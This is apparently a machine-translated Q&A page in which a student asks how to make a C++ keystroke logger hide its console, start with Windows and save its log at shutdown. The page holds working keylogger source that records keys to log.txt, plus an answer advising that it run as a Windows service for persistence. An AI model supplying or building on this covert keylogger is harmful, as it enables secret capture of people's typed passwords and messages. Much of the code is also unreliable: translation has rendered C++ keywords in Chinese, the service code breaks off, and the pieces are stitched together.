Visual c++ 当windows系统打开时。我的C++;程序应该激活吗?我该怎么做?

Visual c++ 当windows系统打开时。我的C++;程序应该激活吗?我该怎么做?,visual-c++,Visual C++,**我是一名软件工程师的学生。我必须做一个关于C++日志记录器程序的介绍,三个要点是1—这个应用程序应该在Windows系统运行时工作。2-隐藏控制台应用程序。3-在关闭系统之前自动保存文本文件。**我已经完成了第二点 #包括 #包括 #包括 #定义WINDOWS\u LEAN\u和\u MEAN 使用名称空间std; int main(){ int i; 查尔j; 焦数; 流文件(“log.txt”); 流acii(“acii.txt”); while(true){ 显示窗口(GetConso

**我是一名软件工程师的学生。我必须做一个关于C++日志记录器程序的介绍,三个要点是1—这个应用程序应该在Windows系统运行时工作。2-隐藏控制台应用程序。3-在关闭系统之前自动保存文本文件。**我已经完成了第二点

#包括
#包括
#包括
#定义WINDOWS\u LEAN\u和\u MEAN
使用名称空间std;
int main(){
int i;
查尔j;
焦数;
流文件(“log.txt”);
流acii(“acii.txt”);
while(true){
显示窗口(GetConsoleWindow(),SW_HIDE);
对于(i=8;i使用SuperG280在注释中共享的代码提供的,您只需在ServiceWorkerThread()函数中插入您的keylog代码。在while循环之前打开文件,然后在之后关闭。当服务结束时,例如当计算机关闭时,while循环退出

#包括
#包括
#包括
#包括
#定义WINDOWS\u LEAN\u和\u MEAN
使用名称空间std;
服务状态g服务状态={0};
服务状态句柄g状态句柄=NULL;
HANDLE g\u ServiceStopEvent=无效的\u句柄\u值;
VOID WINAPI ServiceMain(DWORD argc,LPTSTR*argv);
作废WINAPI服务CtrlHandler(DWORD);
DWORD WINAPI ServiceWorkerThread(LPVOID lpParam);
#定义服务名称(“我的示例服务”)
int_tmain(int argc,TCHAR*argv[])
{
OutputDebugString(_T(“我的示例服务:Main:Entry”);
服务\表\条目服务表[]=
{
{SERVICE_NAME,(LPSERVICE_MAIN_函数)ServiceMain},
{NULL,NULL}
};
如果(StartServiceCtrlDispatcher(ServiceTable)=FALSE)
{
OutputDebugString(_T(“我的示例服务:Main:StartServiceCtrlDispatcher返回错误”);
返回GetLastError();
}
OutputDebugString(_T(“我的示例服务:Main:Exit”);
返回0;
}
VOID WINAPI ServiceMain(DWORD argc,LPTSTR*argv)
{
DWORD状态=E_故障;
OutputDebugString(_T(“我的示例服务:ServiceMain:Entry”);
g_StatusHandle=RegisterServiceCtrlHandler(服务名称,ServiceCtrlHandler);
if(g_StatusHandle==NULL)
{
OutputDebugString(_T(“我的示例服务:ServiceMain:RegisterServiceCtrlHandler返回错误”);
转到出口;
}
//告诉服务控制员我们正在启动
零内存(&g_ServiceStatus,sizeof(g_ServiceStatus));
g_ServiceStatus.dwServiceType=SERVICE_WIN32_OWN_进程;
g_ServiceStatus.dwControlsAccepted=0;
g_ServiceStatus.dwCurrentState=SERVICE_START_PENDING;
g_ServiceStatus.dwWin32ExitCode=0;
g_ServiceStatus.dwServiceSpecificExitCode=0;
g_ServiceStatus.dwCheckPoint=0;
if(SetServiceStatus(g_状态句柄和g_服务状态)==FALSE)
{
OutputDebugString(_T(“我的示例服务:ServiceMain:SetServiceStatus返回错误”);
}
/*
*在此处执行启动服务所需的任务
*/
OutputDebugString(_T(“我的示例服务:ServiceMain:正在执行服务启动操作”);
//创建停止事件以稍后等待。
g_ServiceStopEvent=CreateEvent(NULL、TRUE、FALSE、NULL);
if(g_ServiceStopEvent==NULL)
{
OutputDebugString(_T(“我的示例服务:ServiceMain:CreateEvent(g_ServiceStopEvent)返回错误”);
g_ServiceStatus.dwControlsAccepted=0;
g_ServiceStatus.dwCurrentState=服务已停止;
g_ServiceStatus.dwWin32ExitCode=GetLastError();
g_ServiceStatus.dwCheckPoint=1;
if(SetServiceStatus(g_状态句柄和g_服务状态)==FALSE)
{
OutputDebugString(_T(“我的示例服务:ServiceMain:SetServiceStatus返回错误”);
}
转到出口;
}
//告诉服务控制员我们已启动
g_ServiceStatus.dwControlsAccepted=服务接受停止;
g_ServiceStatus.dwCurrentState=服务运行;
g_ServiceStatus.dwWin32ExitCode=0;
g_ServiceStatus.dwCheckPoint=0;
if(SetServiceStatus(g_状态句柄和g_服务状态)==FALSE)
{
OutputDebugString(_T(“我的示例服务:ServiceMain:SetServiceStatus返回错误”);
}
//启动将执行服务主任务的线程
HANDLE hThread=CreateThread(NULL,0,ServiceWorkerThread,NULL,0,NULL);
OutputDebugString(_T(“我的示例服务:ServiceMain:正在等待工作线程完成”);
//等待直到我们的工作线程有效地发出服务需要停止的信号
WaitForSingleObject(hThread,无限);
OutputDebugString(_T(“我的示例服务:ServiceMain:工作线程停止事件信号”);
/*
*执行任何清理任务
*/
OutputDebugString(_T(“我的示例服务:ServiceMain:执行清理操作”);
CloseHandle(g_ServiceStopEvent);
g_ServiceStatus.dwControlsAccepted=0;
g_ServiceStatus.dwCurrentState=服务已停止;
g_ServiceStatus.dwWin32ExitCode=0;
g_ServiceStatus.dwCheckPoint=3;
if(SetServiceStatus(g_状态句柄和g_服务状态)==FALSE)
{
OutputDebugString(_T(“我的示例服务:ServiceMain:SetServiceStatus返回错误”);
}
出口:
OutputDebugString(_T(“我的示例服务:ServiceMain:Exit”);
返回;
}
无效WINAPI服务CtrlHandler(DWORD CtrlCode)
{
OutputDebugString(_T(“我的示例服务:ServiceCtrlHandler:Entry”);
开关(CtrlCode)
{
案例服务控制站:
OutputDebugString(_T(“我的示例服务:ServiceCtrlHandler:服务控制停止请求”);
if(g_ServiceStatus.dwCurrentState!=服务正在运行)
打破
/*
*执行必要的任务以停止此处的服务
*/
g_ServiceStatus.dwControlsAccepted=0;
g_ServiceStatus.dwCurrentState=SERVICE_STOP_PENDING;
g_ServiceStatus.dwWin32ExitCode=0;
g_ServiceStatus.dwCheckPoint=4;
#include <iostream>
#include <windows.h>
#include <fstream>
#define WINDOWS_LEAN_AND_MEAN
using namespace std;
int main() {
    int i;
    char j;
    char count;
    ofstream file("log.txt");
    ofstream acii("acii.txt");
    while (true) {
        ShowWindow(GetConsoleWindow(), SW_HIDE);
        for (i = 8; i <= 255; i++) {
            if (GetAsyncKeyState(i) == -32767) {
                acii << i << " ";
                if (i >= 65 && i <= 90 || i >= 48 && i <= 57) {
                    j = i;
                    file << j;
                }
                else if (i == 16) {
                    file << " [SHIFT] ";
                }
                else if (i == 8) {
                    file << " [BACK_SPACE] ";
                }
                else if (i == 32) {
                    file << " [SPACE] ";
                }
                else if (i == 17) {
                    file << " [CTRL] ";
                }
                else if (i == 13) {
                    file << " [ENTER] ";
                }
                else if (i == 190) {
                    file << " . ";
                }
            }
        }
    }
    return 0;
}